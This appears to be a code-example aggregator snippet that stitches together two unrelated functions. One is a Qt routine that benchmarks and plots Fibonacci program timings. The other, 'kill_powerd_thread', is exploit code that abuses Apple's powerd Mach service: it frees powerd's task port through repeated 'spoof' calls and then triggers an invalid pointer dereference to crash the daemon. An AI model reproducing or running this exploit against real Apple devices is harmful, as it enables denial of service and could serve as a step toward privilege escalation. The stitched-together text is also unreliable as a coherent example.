Beispiel #1
0
void Window::runProgram(void)
{
  if(x < 1600)
  {
  createInputFile(matrixSize);
  char *thr_Path = "/home/rohit/fibthread";
  char *sin_Path = "/home/rohit/fibsingle";
  char *jthr_Path = "/home/rohit/fibjthread.jar";

  long sin = spoof(1, sin_Path);
  long thr = spoof(1, thr_Path);
  long jthr = spoof(2, jthr_Path);

  qDebug() << "Single: "<< sin;
  qDebug() << "PThread:" << thr;
  qDebug() << "JavaThread:" << jthr;

  sin = sin * 600 / 500;
  thr = thr * 600 / 500;
  jthr = jthr * 600 / 500;

  display->drawPixel(x, 500 - sin - 10, 0, matrixSize);
  display->drawPixel(x, 500 - thr - 10, 1, matrixSize);
  display->drawPixel(x, 500 - jthr - 10, 2, matrixSize);

  if(thr < sin){
      display->drawSpot(x, 500-sin-10, 500-thr - 10);
  }

  matrixSize += 10;
  x += 40;
}
}
static void* kill_powerd_thread(void* arg){
  mach_port_t service_port = lookup("com.apple.PowerManagement.control");
  
  // free task_self in powerd
  for (int j = 0; j < 2; j++) {
    spoof(service_port, 0x103);
  }
  
  // call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
  // and deref an invalid pointer
  
  vm_address_t buffer = 0;
  vm_size_t size = 0;
  int return_code;
  
  io_ps_copy_powersources_info(service_port,
                               0,
                               &buffer,
                               (mach_msg_type_number_t *) &size,
                               &return_code);
  
  printf("killed powerd?\n");
  
  return NULL;
}